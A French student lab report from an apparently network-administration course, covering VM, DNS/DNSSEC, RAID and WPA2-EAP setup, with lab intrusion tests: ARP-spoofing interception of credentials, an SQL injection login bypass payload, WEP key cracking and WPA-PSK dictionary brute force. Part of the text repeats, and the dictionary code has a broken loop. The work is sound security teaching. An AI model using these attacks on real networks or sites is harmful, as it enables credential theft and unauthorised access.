Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T13:43:16Z

Lchenu : /* Réalisation */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
